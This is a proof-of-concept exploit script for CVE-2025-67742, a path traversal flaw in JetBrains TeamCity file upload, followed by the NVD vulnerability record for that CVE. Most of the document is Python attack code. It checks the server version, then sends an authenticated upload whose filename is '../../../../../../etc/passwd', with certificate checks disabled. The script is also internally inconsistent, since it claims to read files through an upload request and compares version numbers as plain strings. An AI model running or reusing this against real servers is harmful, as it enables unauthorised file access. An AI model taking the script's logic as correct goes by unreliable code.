CVE-2025-67742

# CVE-2025-67742 PoC - JetBrains TeamCity Path Traversal via File Upload # This PoC demonstrates how an authenticated attacker can exploit path traversal # vulnerability in TeamCity's file upload functionality import requests import os TARGET_URL = "https://teamcity-server.com" AUTH_TOKEN = "your-authentication-token" def exploit_path_traversal(): """ Exploit path traversal vulnerability in TeamCity file upload to read arbitrary files from the server """ # Target file to read via path traversal target_file = "../../../../../../etc/passwd" # Construct the malicious upload request upload_url = f"{TARGET_URL}/app/rest/builds" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/octet-stream" } # The path traversal payload is embedded in the filename # This exploits the lack of proper path validation in TeamCity params = { "fileName": target_file, "comment": "Path traversal exploit via file upload" } # Malicious file content malicious_content = b"test content" try: # Send the exploit request response = requests.post( upload_url, headers=headers, params=params, data=malicious_content, verify=False, timeout=30 ) print(f"[*] Request sent to {upload_url}") print(f"[*] Target file: {target_file}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit likely successful - file operation completed") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Exploit failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def check_vulnerability(): """ Check if target TeamCity instance is vulnerable """ version_url = f"{TARGET_URL}/app/rest/serverVersion" try: response = requests.get( version_url, headers={"Authorization": f"Bearer {AUTH_TOKEN}"}, verify=False, timeout=10 ) if response.status_code == 200: version = response.text.strip() print(f"[*] TeamCity version: {version}") # Check if version is before 2025.11 if version < "2025.11": print("[!] Target is potentially vulnerable") return True else: print("[*] Target version is patched") return False except Exception as e: print(f"[-] Version check failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-67742 - TeamCity Path Traversal PoC") print("=" * 60) # First check if vulnerable is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[*] Proceeding with exploitation...") exploit_path_traversal() else: print("\n[*] Target does not appear vulnerable or is patched")

{"cve": {"id": "CVE-2025-67742", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:35.757", "lastModified": "2025-12-15T20:06:21.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains TeamCity before 2025.11 path traversal was possible via file upload"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.11", "matchCriteriaId": "D80D5E22-CFD6-4363-948C-9473EFCE21A5"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}